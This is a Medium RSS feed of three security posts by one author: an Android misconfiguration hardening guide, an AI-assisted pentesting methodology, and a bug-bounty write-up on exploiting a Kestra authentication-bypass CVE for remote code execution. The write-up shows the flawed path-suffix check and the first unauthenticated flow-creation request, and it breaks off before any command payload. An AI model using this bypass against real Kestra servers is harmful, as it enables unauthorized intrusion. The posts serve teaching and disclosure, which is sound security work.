<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Scarabel0x on Medium]]></title>
        <description><![CDATA[Stories by Scarabel0x on Medium]]></description>
        <link>https://medium.com/@belalshohaip222?source=rss-8bc698c295a4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*p1CVsGSroNS0A5yWIJPk-g.png</url>
            <title>Stories by Scarabel0x on Medium</title>
            <link>https://medium.com/@belalshohaip222?source=rss-8bc698c295a4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 22:11:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@belalshohaip222/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Security Misconfigurations in Mobile Applications]]></title>
            <link>https://medium.com/@belalshohaip222/security-misconfigurations-in-mobile-applications-9da71d306548?source=rss-8bc698c295a4------2</link>
            <guid isPermaLink="false">https://medium.com/p/9da71d306548</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[security-misconfiguration]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[mobile]]></category>
            <dc:creator><![CDATA[Scarabel0x]]></dc:creator>
            <pubDate>Fri, 09 Oct 2026 12:06:02 GMT</pubDate>
            <atom:updated>2026-10-09T12:06:02.001Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9RVATiLUPFPBfuq8kF-sww.png" /></figure><h3>Introduction</h3><p>In mobile application security, vulnerabilities are often envisioned as complex memory corruptions, zero-day exploits, or intricate business logic flaws. However, one of the most prevalent and high-impact risk categories remains strikingly straightforward: <strong>Security Misconfiguration</strong>.</p><p>Developers frequently ask: <em>What makes a Security Misconfiguration fundamentally different from other security risks?</em></p><p>The distinction lies in the <strong>Root Cause</strong>. In code-level vulnerabilities (such as SQL Injection or Broken Access Control), the issue stems from flawed application logic or improper input handling. In contrast, with a Security Misconfiguration, <strong>the underlying source code logic may be 100% flawless</strong>, yet an insecure environment setting, active debug flag, or permissive cloud rule leaves the front door wide open.</p><p>A quick rule of thumb for engineering teams:</p><blockquote><strong><em>If fixing the issue requires modifying configuration files, toggling build flags, or adjusting server headers rather than rewriting application logic, it falls under Security Misconfiguration.</em></strong></blockquote><p>This guide breaks down the primary categories of Security Misconfigurations in the Android ecosystem, providing clear exploitation risks and developer remediation steps.</p><h3>1. Build &amp; Debug Configurations</h3><p>During active development, engineers rely on diagnostic tools, debuggers, and detailed logs. Security risks occur when these development configurations bypass build checks and leak into production releases.</p><ul><li><strong>Debuggable Applications (</strong>android:debuggable=&quot;true&quot;<strong>):</strong></li><li><strong>Risk:</strong> Leaving this flag enabled in AndroidManifest.xml allows attackers to attach standard Java debuggers (jdb) via Android Debug Bridge (adb), enabling dynamic memory inspection, variable tampering, and runtime execution bypasses.</li><li><strong>Developer Remediation:</strong> Explicitly set debuggable false in your release build type inside build.gradle, or rely on Android Studio’s default secure behavior for release variants.</li><li><strong>Sensitive Verbose Logging (</strong>Logcat<strong> Spills):</strong></li><li><strong>Risk:</strong> Leaving uncleaned Log.d() or Log.v() calls prints sensitive assets—such as session tokens, API keys, or user PII—directly to the system log buffer (Logcat).</li><li><strong>Developer Remediation:</strong> Strip logging calls from release builds using ProGuard/R8 rules (-assumenosideeffects class android.util.Log { ... }) or use lightweight logging wrappers like Timber with custom release trees.</li><li><strong>Absence of Code Obfuscation (R8 / ProGuard):</strong></li><li><strong>Risk:</strong> Disabling code shrinking and obfuscation leaves compiled bytecode in plain text, making reverse engineering with tools like JADX effortless.</li><li><strong>Developer Remediation:</strong> Enable minifyEnabled true and shrinkResources true in build.gradle for all production builds.</li></ul><h3>2. Manifest &amp; Component Hardening</h3><p>The AndroidManifest.xml file serves as the blueprint for Android applications. Misconfigurations here expose IPC (Inter-Process Communication) components to local hijacking.</p><ul><li><strong>Insecure Application Backups (</strong>android:allowBackup=&quot;true&quot;<strong>):</strong></li><li><strong>Risk:</strong> Without explicit backup_rules.xml defining restricted data, setting allowBackup to true permits anyone with physical or adb access to extract private internal application databases and shared preferences via adb backup.</li><li><strong>Developer Remediation:</strong> Set android:allowBackup=&quot;false&quot; or configure granular backup rules to exclude sensitive storage directories.</li><li><strong>Unnecessary Exported Components (</strong>android:exported=&quot;true&quot;<strong>):</strong></li><li><strong>Risk:</strong> Explicitly setting exported=&quot;true&quot; on Activities, Services, or Broadcast Receivers without enforcing custom permissions allows malicious third-party apps on the same device to invoke internal screens or trigger background actions.</li><li><strong>Developer Remediation:</strong> Set android:exported=&quot;false&quot; on all components unless explicit cross-app communication is required.</li><li><strong>Overly Broad Permission Requests:</strong></li><li><strong>Risk:</strong> Requesting runtime permissions (e.g., READ_SMS, READ_CONTACTS) not strictly required by core features violates the <strong>Principle of Least Privilege</strong> and increases the impact if the app is compromised.</li><li><strong>Developer Remediation:</strong> Audit AndroidManifest.xml regularly and remove unnecessary permissions.</li></ul><h3>3. Network &amp; Transport Layer Security</h3><p>Protecting data in transit is critical. Misconfigured transport settings expose network traffic to Man-in-the-Middle (MitM) interception.</p><ul><li><strong>Cleartext Traffic Allowed (</strong>cleartextTrafficPermitted=&quot;true&quot;<strong>):</strong></li><li><strong>Risk:</strong> Enabling unencrypted HTTP traffic allows attackers on untrusted networks (e.g., public Wi-Fi) to inspect or modify network packets.</li><li><strong>Developer Remediation:</strong> Enforce android:usesCleartextTraffic=&quot;false&quot; and enforce strict HTTPS across all endpoints.</li><li><strong>Flawed Network Security Configuration (</strong>network_security_config.xml<strong>):</strong></li><li><strong>Risk:</strong> Trusting user-installed Certificate Authorities (User CAs) in production environments bypasses system SSL trust boundaries.</li><li><strong>Legacy TLS &amp; Weak Ciphers on Server Endpoints:</strong></li><li><strong>Risk:</strong> Supporting deprecated protocols (TLS 1.0 / 1.1) or weak cipher suites on the backend server enables active connection decryption.</li><li><strong>Developer Remediation:</strong> Configure backend reverse proxies (e.g., NGINX, Cloudflare) to accept TLS 1.2+ only with modern cipher suites.</li></ul><h3>4. WebView Security Controls</h3><p>In-app browsers (WebView) bridge native applications and web content. Insecure WebView flags introduce cross-site scripting and local file extraction vectors.</p><ul><li><strong>Unrestricted Local File Access:</strong></li><li><strong>Risk:</strong> Enabling setAllowUniversalAccessFromFileURLs(true) or setAllowFileAccessFromFileURLs(true) permits malicious JavaScript executed inside the WebView to read local application files.</li><li><strong>Developer Remediation:</strong> Keep file access flags set to false unless strictly necessary, and disable file access entirely via setAllowFileAccess(false) if loading remote web content.</li><li><strong>Unvalidated Navigation Overrides:</strong></li><li><strong>Risk:</strong> Overriding shouldOverrideUrlLoading without validating the target domain allows the WebView to load arbitrary, untrusted external URLs, enabling phishing or drive-by downloads.</li><li><strong>Developer Remediation:</strong> Implement strict domain whitelisting inside shouldOverrideUrlLoading before allowing navigation.</li></ul><h3>5. Cloud &amp; Backend Infrastructure Misconfigurations</h3><p>Client-side hardening is ineffective if the backing cloud infrastructure is improperly secured.</p><ul><li><strong>Open Firebase / Firestore Security Rules:</strong></li><li><strong>Risk:</strong> Deploying Firebase Realtime DBs or Cloud Firestore with default test rules (&quot;.read&quot;: true, &quot;.write&quot;: true) allows unauthenticated attackers to read or overwrite production data.</li><li><strong>Developer Remediation:</strong> Enforce role-based access control rules using Firebase Authentication claims.</li><li><strong>Publicly Accessible Object Storage (AWS S3 Buckets / GCP):</strong></li><li><strong>Risk:</strong> Leaving storage buckets with Public Read or Public Write ACLs exposes user documents, uploads, and private app assets.</li><li><strong>Developer Remediation:</strong> Keep buckets private by default and use short-lived Presigned URLs for authenticated file access.</li><li><strong>Permissive CORS Policies (</strong>Access-Control-Allow-Origin: *<strong>):</strong></li><li><strong>Risk:</strong> Indiscriminate cross-origin headers allow untrusted web domains to send authenticated requests to backend APIs and harvest user responses.</li><li><strong>Developer Remediation:</strong> Restrict CORS headers explicitly to trusted web domains.</li><li><strong>Exposed Diagnostic Endpoints:</strong></li><li><strong>Risk:</strong> Leaving administrative or diagnostic routes (e.g., /actuator, /debug, /admin) exposed on production APIs grants public visibility into system internals.</li><li><strong>Developer Remediation:</strong> Block or restrict access to management endpoints at the API gateway level.</li></ul><h3>Automated Scanners vs. App Store Enforcement</h3><p>Security Misconfigurations are unique because they are <strong>low-hanging fruit for automated scanners, static analyzers (e.g., MobSF, SonarQube), and AI analysis tools</strong>.</p><p>From a distribution standpoint, modern app marketplaces enforce automated policy checks:</p><ul><li><strong>Google Play Console:</strong> Automatically hard-blocks releases containing android:debuggable=&quot;true&quot; and issues compliance warnings (or removal notices) for unhandled SSL bypasses and vulnerable dependencies through the <em>App Security Improvement (ASI)</em> program.</li><li><strong>Apple App Store:</strong> Enforces strict App Transport Security (ATS) rules and rejects builds that bypass required security flags without justification.</li></ul><h3>Final Thoughts</h3><p>Security Misconfigurations are often the initial foothold attackers use in multi-stage exploit chains. While a single flag like allowBackup=&quot;true&quot; may seem minor in isolation, pairing it with an exported component or exposed cloud storage can lead to total application compromise.</p><p>Enforcing <strong>Secure Defaults</strong>, integrating automated static analysis into CI/CD pipelines, and applying strict release checklists before pushing to production are essential practices for modern engineering teams.</p><h3>Let’s Connect!</h3><p>If you found this guide helpful or want to discuss mobile security, app hardening, and penetration testing, feel free to connect with me:</p><ul><li><strong>LinkedIn:</strong> [<a href="https://www.linkedin.com/in/belal-shohaip-5a34b7306">Scarabel0x</a>]</li><li><strong>GitHub:</strong> [<a href="https://github.com/Scarabel0X">Scarabel0x</a>]</li><li><strong>Twitter / X:</strong> [<a href="https://x.com/BelScarabX">Scarabel0x</a>]</li></ul><p><em>Have questions or thoughts about Android security hardening? Drop a comment below!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9da71d306548" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[An Adaptive Android Pentesting Methodology: Combining Static Analysis, AI-Assisted Reasoning, and…]]></title>
            <link>https://medium.com/@belalshohaip222/an-adaptive-android-pentesting-methodology-combining-static-analysis-ai-assisted-reasoning-and-1b0e33a0dea8?source=rss-8bc698c295a4------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b0e33a0dea8</guid>
            <category><![CDATA[androidhacking]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[methodology]]></category>
            <dc:creator><![CDATA[Scarabel0x]]></dc:creator>
            <pubDate>Fri, 25 Sep 2026 12:35:29 GMT</pubDate>
            <atom:updated>2026-09-27T03:31:59.414Z</atom:updated>
            <content:encoded><![CDATA[<h3>An Adaptive Android Pentesting Methodology: Combining Static Analysis, AI-Assisted Reasoning, and Runtime Instrumentation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YIKTHlrdJqbgET9iBIAp8g.png" /></figure><h3>Introduction</h3><p>Android application security testing is not a process that can always be reduced to a fixed checklist.</p><p>Every application has its own architecture, features, trust boundaries, backend interactions, and implementation details. A technique that is highly relevant to one application may be completely irrelevant to another. In many cases, the interesting security issues are not visible from a single source of evidence. They emerge from the relationship between application components, source code, runtime behavior, and backend communication.</p><p>Because of that, my approach to Android penetration testing has gradually shifted from a tool-driven process to a more <strong>hypothesis-driven and iterative methodology</strong>.</p><p>I still rely on the usual techniques involved in Android security testing — static analysis, manifest inspection, network analysis, dynamic instrumentation, and runtime testing — but I try to connect them together instead of treating each technique as an isolated step.</p><p>Recently, I also started integrating AI agents into this workflow.</p><p>The goal is not to ask an AI model to “find vulnerabilities” and blindly trust its output. Instead, I use AI as an additional analysis layer that can process large amounts of code, help me understand unfamiliar application logic, identify suspicious areas, generate testing hypotheses, and reduce the amount of repetitive analysis I have to perform manually.</p><p>The final decision always comes from manual investigation and validation.</p><p>My current workflow can be divided into three major phases:</p><ol><li><strong>Application Reconnaissance &amp; Attack Surface Mapping</strong></li><li><strong>Hypothesis-Driven Security Testing</strong></li><li><strong>Runtime Interception &amp; Behavioral Analysis</strong></li></ol><p>The important part is that these phases are not strictly linear. Runtime analysis can reveal something that creates a new hypothesis, which sends me back to testing again.</p><p>In other words, the methodology is better represented as a loop than as a checklist:</p><blockquote><strong><em>Recon → Hypotheses → Testing → Runtime → New Findings → New Hypotheses → Testing</em></strong></blockquote><h3>1. Phase One — Application Reconnaissance &amp; Attack Surface Mapping</h3><p>The first phase is about building a mental model of the application.</p><p>Before actively looking for vulnerabilities, I want to understand what the application does, what functionality it provides, how its components are organized, and where the potentially interesting attack surfaces are.</p><h3>Understanding the Application</h3><p>I start by looking at the application from a functional perspective.</p><p>I want to answer questions such as:</p><ul><li>What is the main purpose of the application?</li><li>What features does it provide?</li><li>What kind of data does it process?</li><li>What security-sensitive operations exist?</li><li>Which features involve authentication or authorization?</li><li>Which features communicate with backend APIs?</li><li>Which workflows appear to have security-sensitive state changes?</li></ul><p>This is important because vulnerability hypotheses should be based on the application’s actual functionality.</p><p>For example, an application containing payments, rewards, account recovery, file uploads, deep links, or user-generated content naturally leads to very different testing scenarios.</p><p>The objective at this stage is not to prove anything.</p><p>It is to identify <strong>interesting possibilities</strong>.</p><h3>Manifest and Component Analysis</h3><p>After understanding the application’s functionality, I move to its Android structure.</p><p>The manifest gives me an early overview of the application’s attack surface, including:</p><ul><li>Activities</li><li>Services</li><li>Content Providers</li><li>Broadcast Receivers</li><li>Intent Filters</li><li>Permissions</li><li>Exported components</li><li>Custom schemes and deep links</li></ul><p>I pay particular attention to components that may be externally reachable or interact with untrusted input.</p><p>For example, an exported component is not automatically a vulnerability, but it is an important place to investigate because it may allow interaction from outside the application.</p><p>The same applies to deep links, intent handling, content providers, and other IPC-related functionality.</p><p>At this point, I am essentially building a map of:</p><blockquote><strong><em>What exists? → How can it be reached? → What does it do? → What input does it trust?</em></strong></blockquote><h3>2. AI-Assisted Application Analysis</h3><p>While performing my own analysis, I also use an AI agent as a parallel analysis layer.</p><p>Instead of manually reviewing every part of a large APK from the beginning, I give the agent access to the application and the relevant analysis tools and ask it to build a structured understanding of the application.</p><p>The agent can be used to inspect things such as:</p><ul><li>Application structure</li><li>Decompiled source code</li><li>Manifest configuration</li><li>Activities and their responsibilities</li><li>Services</li><li>Content Providers</li><li>Broadcast Receivers</li><li>Exported components</li><li>Intent handling</li><li>Hardcoded credentials and secrets</li><li>Suspicious URLs, endpoints, or configuration values</li><li>Security-sensitive code paths</li><li>Unusual implementation patterns</li></ul><p>I also ask the agent to summarize the application’s overall flow and explain how important components interact with each other.</p><p>One useful output is a structured report that answers questions like:</p><blockquote><em>What are the main application flows?</em></blockquote><blockquote><em>Which components are externally reachable?</em></blockquote><blockquote><em>Which components handle sensitive data?</em></blockquote><blockquote><em>Where does user-controlled input enter the application?</em></blockquote><blockquote><em>Which parts of the code appear security-sensitive?</em></blockquote><blockquote><em>Are there suspicious or unusual implementation patterns that deserve manual investigation?</em></blockquote><p>This can save a significant amount of time, especially when the APK contains a large amount of code.</p><p>However, the AI output is treated as <strong>input for investigation</strong>, not as a final security verdict.</p><p>For example, if the agent reports a suspicious hardcoded value, I do not automatically classify it as a secret.</p><p>If it identifies an exported Activity, I do not automatically classify it as vulnerable.</p><p>If it suggests that a function may be susceptible to an authorization issue, I do not consider the issue confirmed until I reproduce and validate the behavior.</p><p>The AI helps me decide:</p><blockquote><strong><em>“Where should I look next?”</em></strong></blockquote><p>It does not decide:</p><blockquote><strong><em>“This is definitely a vulnerability.”</em></strong></blockquote><h3>3. Building Security Hypotheses</h3><p>While performing both manual and AI-assisted analysis, I continuously build a list of hypotheses.</p><p>For every interesting behavior, I ask whether it could lead to a security issue.</p><p>For example:</p><ul><li>An exported component → Can it be abused from another application?</li><li>A deep link → Can attacker-controlled input reach a sensitive operation?</li><li>A Content Provider → Is sensitive data exposed without proper authorization?</li><li>A client-controlled parameter → Does the backend actually validate it?</li><li>A security-sensitive workflow → Can its steps be reordered or skipped?</li><li>A hardcoded credential → Is it actually sensitive and usable?</li><li>A WebView → Can untrusted content influence the loaded page or JavaScript execution?</li><li>An IPC interface → Does it trust the caller?</li><li>A hidden API operation → Can the operation be triggered without the intended application flow?</li></ul><p>I collect these possibilities instead of immediately trying to prove each one.</p><p>This gives me a working list of:</p><blockquote><strong><em>Potential attack scenarios to validate</em></strong></blockquote><p>That list becomes the input for the next phase.</p><h3>4. Phase Two — Hypothesis-Driven Security Testing</h3><p>Once I have a set of hypotheses, I begin testing them individually.</p><p>This phase is where I move from:</p><blockquote><strong><em>“This looks interesting.”</em></strong></blockquote><p>to:</p><blockquote><strong><em>“Can I actually demonstrate a security impact?”</em></strong></blockquote><p>For each hypothesis, I try to understand the relevant code path and determine whether the suspected behavior is actually exploitable.</p><p>This may involve:</p><ul><li>Following data through the application</li><li>Tracing user-controlled input</li><li>Reviewing validation logic</li><li>Understanding authorization checks</li><li>Examining IPC behavior</li><li>Looking at API requests and responses</li><li>Modifying parameters</li><li>Reproducing application workflows</li><li>Testing different application states</li><li>Verifying whether backend enforcement exists</li></ul><p>The key idea is that every hypothesis needs to be <strong>confirmed or rejected</strong>.</p><h3>From Suspicion to Confirmation</h3><p>Suppose I discover an exported component during the first phase.</p><p>That discovery alone tells me very little.</p><p>I need to understand:</p><ol><li>How the component can be invoked.</li><li>What input it accepts.</li><li>What happens after invocation.</li><li>Whether authentication is required.</li><li>Whether authorization is enforced.</li><li>Whether attacker-controlled input reaches a security-sensitive operation.</li><li>Whether the resulting behavior creates an actual security impact.</li></ol><p>The same mindset applies to code findings.</p><p>A suspicious function is not automatically a vulnerability.</p><p>A hardcoded value is not automatically a credential.</p><p>An exported component is not automatically exploitable.</p><p>A client-controlled parameter is not automatically a business logic flaw.</p><p>The goal of this phase is to separate:</p><blockquote><strong><em>Interesting behavior</em></strong></blockquote><p>from</p><blockquote><strong><em>Verified security issues</em></strong></blockquote><h3>5. Looking for New Hypotheses</h3><p>An important part of my methodology happens after I finish the initial list.</p><p>If I have tested the hypotheses I generated during reconnaissance and static analysis, I do not immediately consider the assessment complete.</p><p>I deliberately look for a different angle.</p><p>I revisit the application and ask:</p><blockquote><em>What did I miss?</em></blockquote><p>This can involve approaching the same feature from another perspective, examining a different code path, comparing multiple workflows, or looking for assumptions made by the application.</p><p>This step is particularly useful because the initial analysis is always influenced by what I already know.</p><p>Sometimes I become focused on a specific vulnerability class and overlook another issue entirely.</p><p>The second pass is therefore intended to break that tunnel vision.</p><p>This produces another set of hypotheses, which I test before moving forward.</p><h3>6. Phase Three — Runtime Interception &amp; Behavioral Analysis</h3><p>After the static-analysis and hypothesis-driven phases, I move deeper into runtime behavior.</p><p>This is where I use <strong>Frida-based instrumentation</strong>.</p><p>The purpose is simply to “hook everything.”</p><p>I use instrumentation to observe the application while it is actually executing and to expose behavior that may not be obvious from static analysis alone.</p><p>Depending on the application, I may monitor or hook areas such as:</p><ul><li>Method calls</li><li>Important class interactions</li><li>Parameter values</li><li>Return values</li><li>Runtime data transformations</li><li>Cryptographic operations</li><li>Security-sensitive APIs</li><li>IPC-related behavior</li><li>File operations</li><li>Network-related logic</li><li>Application state transitions</li></ul><p>The exact instrumentation changes from one application to another.</p><p>The reason is simple:</p><blockquote><strong><em>Different applications require different visibility.</em></strong></blockquote><h3>7. Why Runtime Analysis Changes the Investigation</h3><p>Static analysis shows me what the application <strong>can potentially do</strong>.</p><p>Runtime analysis shows me what the application <strong>actually does while executing a specific workflow</strong>.</p><p>That difference can reveal a lot.</p><p>For example, the code may contain a security-sensitive method, but I may not initially know:</p><ul><li>When it is called</li><li>What values are passed to it</li><li>Which code path reaches it</li><li>What happens immediately before and after the call</li><li>Whether a specific feature triggers it</li><li>Whether certain application states change its behavior</li></ul><p>Runtime instrumentation helps connect those pieces together.</p><p>Instead of only asking:</p><blockquote><em>“What does this function do?”</em></blockquote><p>I can start asking:</p><blockquote><em>“When does this function execute, what data reaches it, what does it call next, and what happens to that data?”</em></blockquote><p>This provides a different level of visibility into the application’s behavior.</p><h3>8. Runtime Findings Become New Hypotheses</h3><p>This is where the methodology becomes iterative.</p><p>Suppose runtime instrumentation reveals an unexpected function call or an unusual data flow that I did not notice during static analysis.</p><p>That observation becomes a new hypothesis.</p><p>I go back and investigate the related code.</p><p>Then I test the behavior.</p><p>If necessary, I instrument another part of the application.</p><p>This means Phase Three does not simply mark the end of the assessment.</p><p>It can lead directly back to Phase Two.</p><p>The process becomes:</p><pre>Reconnaissance<br>      ↓<br>Hypothesis Generation<br>      ↓<br>Security Testing<br>      ↓<br>Runtime Analysis<br>      ↓<br>New Observation<br>      ↓<br>New Hypothesis<br>      ↓<br>Security Testing<br>      ↓<br>Runtime Analysis<br>      ↓<br>...</pre><p>This feedback loop is one of the most important aspects of my current methodology.</p><h3>9. Where AI Fits Into the Workflow</h3><p>I consider AI an <strong>analysis multiplier</strong>, not an autonomous pentester.</p><p>There are several areas where I find it particularly useful.</p><h3>Code Understanding</h3><p>Large decompiled applications can contain thousands of classes and methods.</p><p>Instead of manually trying to understand every class, I can use AI to summarize complex parts of the code and explain how specific components interact.</p><p>This is especially useful when dealing with unfamiliar frameworks or large application architectures.</p><h3>Hypothesis Generation</h3><p>AI can help identify unusual patterns that deserve investigation.</p><p>For example, it can point out:</p><ul><li>Unusual input handling</li><li>Missing validation</li><li>Sensitive operations</li><li>Interesting IPC paths</li><li>Security-sensitive data flows</li><li>Hardcoded values</li><li>Potential trust-boundary violations</li></ul><p>Again, these are <strong>hypotheses</strong>, not confirmed vulnerabilities.</p><h3>Repetitive Analysis</h3><p>Another advantage is reducing repetitive work.</p><p>An agent can search across large sections of code for specific patterns, collect relevant locations, summarize findings, and organize them into a report.</p><p>This allows me to spend more time on the part that actually requires human reasoning:</p><blockquote><strong><em>Testing whether the behavior is exploitable.</em></strong></blockquote><h3>10. What I Do Not Delegate to AI</h3><p>There is a clear boundary in my workflow.</p><p>I do not treat an AI-generated report as proof of a vulnerability.</p><p>I still manually verify:</p><ul><li>Exploitability</li><li>Security impact</li><li>Authorization behavior</li><li>Application state</li><li>Backend enforcement</li><li>Runtime behavior</li><li>Reproducibility</li><li>False positives</li></ul><p>This is especially important because AI can misunderstand application logic, miss contextual dependencies, or identify benign patterns as suspicious.</p><p>The value of AI is therefore not:</p><blockquote><strong><em>“Let the model find everything.”</em></strong></blockquote><p>The value is:</p><blockquote><strong><em>“Let the model help me investigate more possibilities, faster.”</em></strong></blockquote><h3>11. The Methodology as a Continuous Loop</h3><p>My current Android pentesting workflow can therefore be summarized as:</p><pre>        ┌─────────────────────────────┐<br>        │        Reconnaissance       │<br>        │  Understand the Application │<br>        │  Map the Attack Surface     │<br>        └──────────────┬──────────────┘<br>                       ↓<br>        ┌─────────────────────────────┐<br>        │     Hypothesis Generation   │<br>        │   Manual + AI-Assisted      │<br>        │         Analysis            │<br>        └──────────────┬──────────────┘<br>                       ↓<br>        ┌─────────────────────────────┐<br>        │   Hypothesis-Driven Testing │<br>        │       Validate / Reject     │<br>        └──────────────┬──────────────┘<br>                       ↓<br>        ┌─────────────────────────────┐<br>        │   Runtime Instrumentation   │<br>        │     Observe Real Behavior   │<br>        └──────────────┬──────────────┘<br>                       ↓<br>        ┌─────────────────────────────┐<br>        │        New Findings         │<br>        │    New Runtime Evidence     │<br>        └──────────────┬──────────────┘<br>                       │<br>                       └───────────────►<br>                              New<br>                           Hypotheses</pre><p>This is why I do not consider my methodology a fixed checklist.</p><p>The application itself determines where the investigation goes next.</p><p>One application may require deeper IPC analysis.</p><p>Another may require extensive API and business-logic testing.</p><p>Another may be heavily focused on WebViews and deep links.</p><p>Another may require runtime instrumentation to understand complicated encryption or state management.</p><p>The methodology remains the same at a high level, but the investigation path changes according to what the application reveals.</p><h3>12. Final Thoughts</h3><p>The biggest change in my Android testing approach has not been adopting a new tool.</p><p>It has been changing the way I think about the testing process.</p><p>Instead of asking:</p><blockquote><em>“Which vulnerability should I look for next?”</em></blockquote><p>I try to ask:</p><blockquote><em>“What do I know about this application, what assumptions does it make, and what can I prove or disprove about those assumptions?”</em></blockquote><p>Static analysis helps me understand the application’s structure.</p><p>AI helps me process large amounts of information and generate additional hypotheses.</p><p>Manual testing allows me to validate those hypotheses.</p><p>Runtime instrumentation gives me visibility into behavior that may not be obvious from the code alone.</p><p>And the results of one stage continuously feed the next.</p><p>For me, that is the core of the methodology:</p><blockquote><strong><em>Understand the application → build hypotheses → test them → observe the runtime → learn something new → build new hypotheses → repeat.</em></strong></blockquote><p>The goal is not to make the process fully automated.</p><p>The goal is to make the <strong>human investigation more informed, broader, and more efficient.</strong></p><h3>Let’s Connect</h3><p>If you found this methodology useful and you’re interested in <strong>Android Security, Mobile Pentesting, Bug Bounty, and AI-assisted security research</strong>, feel free to follow me.</p><p>I’ll be sharing more write-ups, research, methodologies, and practical security findings in the future.</p><p><strong>Follow me / Connect with me:</strong></p><ul><li>🔗 LinkedIn: [<a href="https://www.linkedin.com/in/belal-shohaip-5a34b7306/">LinkedIn</a>]</li><li>🐦 X: [<a href="https://x.com/BelScarabX">X</a>]</li><li>💻 GitHub: [<a href="https://github.com/Scarabel0X">GitHub</a>]</li></ul><p>If you have a different approach to Android testing or ideas that could improve this methodology, I’d love to hear them.</p><p><strong>Keep learning. Keep testing. Keep questioning. 🕵️‍♂️</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b0e33a0dea8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found My First Real-Life RCE: Exploiting CVE-2026–53576 in Kestra]]></title>
            <link>https://medium.com/@belalshohaip222/how-i-found-my-first-real-life-rce-exploiting-cve-2026-53576-in-kestra-897bd67c529c?source=rss-8bc698c295a4------2</link>
            <guid isPermaLink="false">https://medium.com/p/897bd67c529c</guid>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[rce-vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Scarabel0x]]></dc:creator>
            <pubDate>Fri, 31 Jul 2026 13:46:01 GMT</pubDate>
            <atom:updated>2026-07-31T13:46:01.303Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L9DRvesN9Oq1j7kxF7l-BA.png" /></figure><p><em>From spotting an exposed developer portal to bypassing authentication with a single path trick.</em></p><p>For every bug hunter, achieving your first real-world <strong>Remote Code Execution (RCE)</strong> feels like a rite of passage.</p><p>When starting out, it’s easy to get stuck trying classic RCE payloads against modern web applications. Modern frameworks and cloud abstractions usually protect developers from naive injection flaws. But what happens when an organization deploys third-party open-source tools and falls behind on updates?</p><p>That exact scenario led me to my first critical RCE. Here is how I discovered and exploited <strong>CVE-2026–53576</strong> on a real-world target during a bug bounty assessment.</p><h3>The Target &amp; The Discovery</h3><p>While mapping out subdomains for a bug bounty target, I stumbled upon a developer login portal at kestra.target.com.</p><p>Looking closely at the application, I recognized <strong>Kestra</strong> — an open-source workflow orchestration platform used by engineering teams to automate complex tasks and pipelines.</p><p>My standard methodology when identifying third-party software on a target:</p><ol><li><strong>Identify the exact application and version.</strong></li><li><strong>Search for known vulnerabilities (CVEs) and security advisories.</strong></li><li><strong>Verify if the target’s version matches the vulnerable range.</strong></li></ol><p>When I searched for recent Kestra advisories, timing was completely on my side. A high-severity vulnerability — <strong>CVE-2026–53576</strong> — had been published just <strong>24 hours earlier</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4-987KHZ44ga39q16XsDLg.png" /></figure><p>A quick GET request to /api/v1/configs confirmed my target was running <strong>version 1.3.16</strong>:</p><pre>GET /api/v1/configs<br>HTTP/2 200 OK</pre><pre><br>{<br>  &quot;uuid&quot;: &quot;2ppcEdkNCFYwDeMXs8Cp8c&quot;,<br>  &quot;version&quot;: &quot;1.3.16&quot;,<br>  &quot;edition&quot;: &quot;OSS&quot;<br>}</pre><p>Version 1.3.16 was directly in the line of fire.</p><h3>The Technical Bug: Bad Suffix Matching</h3><p>The root cause of <strong>CVE-2026–53576</strong> lies in a classic pattern-matching flaw within Kestra’s web server filter (AuthenticationFilter.java).</p><p>To allow public access to basic instance metadata (like the configuration endpoint), the application checked the incoming request path:</p><pre>// Vulnerable snippet in AuthenticationFilter.java<br>boolean isConfigEndpoint = request.getPath().endsWith(&quot;/configs&quot;);</pre><p>If the request path ended in /configs, the authentication filter assumed it was a safe configuration request and <strong>bypassed all authentication checks</strong>.</p><p>Because Kestra’s API routing structures endpoints dynamically using path parameters (e.g., /api/v1/{tenant}/flows/{namespace}), an attacker could simply name their target namespace or flow configs. The path would end in /configs, bypassing authentication while pointing directly to privileged administrative actions!</p><h3>The Exploitation Chain</h3><p>To prove Remote Code Execution safely, I followed a two-step process: <strong>Flow Creation</strong> and <strong>Flow Execution</strong>.</p><h3>Step 1: Unauthenticated Flow Creation</h3><p>I sent a POST request to create a malicious workflow definition. By setting the namespace and ID to configs, the endpoint URL became /api/v1/main/flows/configs.</p><pre>POST /api/v1/main/flows/configs HTTP/2<br>Host: kestra.target.com<br>Content-Type: application/x-yaml</pre><pre>id: configs<br>namespace: configs<br>tasks:<br>  - id: 